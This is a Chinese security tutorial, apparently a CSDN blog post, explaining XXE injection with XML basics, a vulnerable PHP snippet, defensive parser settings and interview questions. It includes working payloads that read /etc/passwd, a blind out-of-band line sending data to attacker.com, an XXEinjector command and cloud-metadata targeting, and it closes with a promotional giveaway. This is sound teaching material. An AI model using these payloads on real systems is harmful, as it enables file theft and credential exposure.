文章目录
- 原理
- XXE 攻击的核心原理
- XML 语言解释
- 什么是 XML 语言
- XML 的特点
- XML 与 XXE 的关系
- 以 PHP 举例 XML 外部实体注入
- 示例代码(存在漏洞)
- 攻击 Payload
- 执行过程
- 输出结果(假设 Linux 服务器)
- XML 语言结构
- 文档结构包含以下三个部分
- DTD 中的实体声明
- 攻击代码(DTD Payload)
- 面试题目
- XXE 漏洞修复与防御
- 如何寻找 XXE 漏洞
- 修复与防御方法
- 1\. XXE 漏洞的检测工具
- 2\. 真实案例
- 3\. 最新技术趋势(2025 年)
- 一、网络安全(黑客)学习路线
- 二、网络安全教程视频
- **三、网络安全CTF实战案例**
- 四、网络安全面试题
原理
XXE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的攻击技术。攻击者通过构造恶意的 XML 输入,利用 XML 解析器对外部实体的支持,执行非预期的操作,例如读取本地文件、发起网络请求或执行系统命令。
XXE 攻击的核心原理
XML 外部实体引用:XML 支持定义外部实体(External Entity),通过
SYSTEM或PUBLIC关键字引用外部资源(如文件或 URL)。解析器未限制外部实体:如果 XML 解析器未禁用外部实体加载,攻击者可通过注入恶意实体,触发解析器访问受控资源。
危害性:
文件泄露:读取服务器敏感文件(如
/etc/passwd)。拒绝服务(DoS):利用实体递归定义(如 Billion Laughs 攻击)耗尽资源。
内网探测:通过构造请求访问内网资源。
命令执行(高级场景):结合特定协议(如
gopher)触发命令。
扩展知识点:
最新趋势:2025 年,随着云服务的普及,XXE 攻击常用于云配置文件的泄露(如 AWS 的
metadata接口)。变种攻击:如 Blind XXE(无回显场景),通过带外通道(OOB)提取数据。
XML 语言解释
什么是 XML 语言
XML(Extensible Markup Language,可扩展标记语言)是一种用于存储和传输数据的标记语言,设计目标是结构化、可读性强且跨平台兼容。XML 不像 HTML 专注于显示,而是更注重数据的语义和结构。
XML 的特点
自定义标签:用户可根据需求定义标签(如
<user>、name)。层次结构:通过嵌套形成树状结构,便于解析。
可扩展性:支持通过 DTD 或 Schema 定义数据规则。
实体支持:内置实体机制,用于引用外部或内部数据。
XML 与 XXE 的关系
XXE 漏洞源于 XML 的实体引用功能,尤其是外部实体(External Entity)。
如果应用程序未正确配置 XML 解析器,攻击者可利用实体注入恶意代码。
扩展知识点:
XML 的历史:1998 年由 W3C 标准化,广泛应用于 Web 服务(如 SOAP、REST API)。
与 JSON 的对比:JSON 更轻量,但不支持实体定义,因此无 XXE 风险。
以 PHP 举例 XML 外部实体注入
PHP 是 Web 开发中常用的语言,其 XML 解析库(如SimpleXML或DOMDocument)如果未正确配置,容易遭受 XXE 攻击。以下是一个典型的 PHP XXE 漏洞示例。
示例代码(存在漏洞)
<?php $xml = file\_get\_contents("php://input"); // 接收用户输入的 XML $doc = new DOMDocument(); $doc->loadXML($xml); // 解析 XML,未禁用外部实体 echo $doc->textContent; // 输出解析结果 ?>攻击 Payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root \[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> \]> <root>&xxe;</root>执行过程
攻击者通过 POST 请求发送上述 Payload。
PHP 的
DOMDocument解析 XML 时,触发外部实体xxe,读取/etc/passwd文件。服务器返回文件内容,泄露敏感信息。
输出结果(假设 Linux 服务器)
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...扩展知识点:
PHP 环境下的其他解析器:
SimpleXMLElement:默认启用外部实体。XMLReader:需手动禁用实体加载。
高级利用:
读取 PHP 配置文件:
<!ENTITY xxe SYSTEM "file:///etc/php.ini">。结合
php://filter:<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">,将文件内容转为 Base64 编码输出。
XML 语言结构
XML 的结构由以下核心部分组成,XXE 攻击主要利用其中的 DTD(文档类型定义)部分。
文档结构包含以下三个部分
XML 声明
示例:
<?xml version="1.0" encoding="UTF-8"?>作用:定义 XML 版本和字符编码。
DTD(文档类型定义)
定义文档的结构和规则,支持实体声明。
类型:
内部声明 DTD:
<!DOCTYPE root \[ <!ELEMENT root (#PCDATA)> \]>引用外部 DTD:
<!DOCTYPE root SYSTEM "external.dtd"> <!DOCTYPE root PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
文档元素
示例:
<root><child>Data</child></root>作用:承载具体数据。
DTD 中的实体声明
实体是 XML 中用于定义可重用内容的机制,XXE 攻击主要利用外部实体。
内部声明实体
<!ENTITY name "lady\_killer9">- 调用:
<root>&name;</root>,输出lady_killer9。
- 调用:
引用外部实体
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe PUBLIC "-//W3C//ENT" "http://example.com/data.txt">- 调用:
<root>&xxe;</root>,触发外部资源加载。
- 调用:
攻击代码(DTD Payload)
以下是常见的 XXE Payload,用于读取文件:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root \[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> \]> <root>&xxe;</root>扩展知识点:
参数实体:
<!DOCTYPE root \[ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY data "%xxe;"> \]> <root>&data;</root>- 作用:参数实体(以
%开头)只能在 DTD 内部引用,常用于复杂攻击。
- 作用:参数实体(以
最新利用:利用
data:协议加载 Base64 编码内容,避免直接文件路径:<!ENTITY xxe SYSTEM "data:text/plain;base64,SGVsbG8gV29ybGQ=">
面试题目
以下是常见的 XXE 漏洞相关面试题目及其解答,帮助您在面试中脱颖而出。
什么是 XXE 漏洞?其原理是什么?
- 答:XXE 是 XML 外部实体注入漏洞,原理是攻击者通过构造恶意 XML,利用解析器加载外部实体,执行文件读取等操作。
如何检测一个系统是否存在 XXE 漏洞?
- 答:抓包分析请求头(如
Accept: application/xml),修改数据格式为 XML,注入测试 Payload(如<!ENTITY xxe SYSTEM "file:///etc/passwd">),观察响应。
- 答:抓包分析请求头(如
XXE 的危害有哪些?如何防御?
- 答:危害包括文件泄露、DoS、内网探测;防御方法包括禁用外部实体、升级解析库、使用白名单过滤。
扩展题目:
Blind XXE 如何利用?
答:通过带外通道(OOB)发送数据,如:
<!ENTITY % xxe SYSTEM "http://attacker.com/?data=%payload;">
XXE 漏洞修复与防御
如何寻找 XXE 漏洞
抓包检查 Accept 头
查看服务器是否接受
application/xml或text/xml。工具:Burp Suite。
修改数据类型
将 JSON 请求改为 XML(如
Content-Type: application/xml),注入 Payload 测试。示例:
POST /api HTTP/1.1 Content-Type: application/xml <?xml version="1.0"?><!DOCTYPE root \[<!ENTITY xxe SYSTEM "file:///etc/passwd">\]><root>&xxe;</root>
修复与防御方法
提高版本
- 使用最新版本的 XML 解析库,避免已知漏洞。
代码修复
PHP:
libxml\_disable\_entity\_loader(true); // 禁用外部实体加载 $doc = new DOMDocument(); $doc->loadXML($xml);Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); // 禁用实体扩展 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用 DTD dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部实体 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Python:
from lxml import etree parser = etree.XMLParser(resolve\_entities=False) # 禁用实体解析 xmlData = etree.parse("input.xml", parser)
手动黑名单过滤(不推荐)
过滤关键词:
<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC。局限性:易被绕过(如大小写变种、编码绕过)。
扩展防御:
WAF(Web 应用防火墙):配置规则拦截恶意 XML 输入。
沙箱隔离:在沙箱中解析 XML,限制文件访问。
最新趋势:结合 AI 检测异常 XML 流量,提升防御效果。
1. XXE 漏洞的检测工具
Burp Suite:通过 Intruder 模块发送 Payload 测试。
XXEinjector:自动化检测工具,支持 Blind XXE。
python xxeinjector.py -u http://target.com/api -p payload.xml
2. 真实案例
某 CMS 系统 XXE 漏洞:
漏洞点:上传 XML 文件的接口未禁用外部实体。
Payload:读取
/etc/passwd并通过 OOB 返回。修复:升级解析库,禁用 DTD。
3. 最新技术趋势(2025 年)
云环境下的 XXE:攻击者利用 XXE 读取云实例元数据(如
http://169.254.169.254/latest/meta-data/)。AI 检测与对抗:杀软使用机器学习识别 XXE Payload,红队则通过对抗性样本绕过。
以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】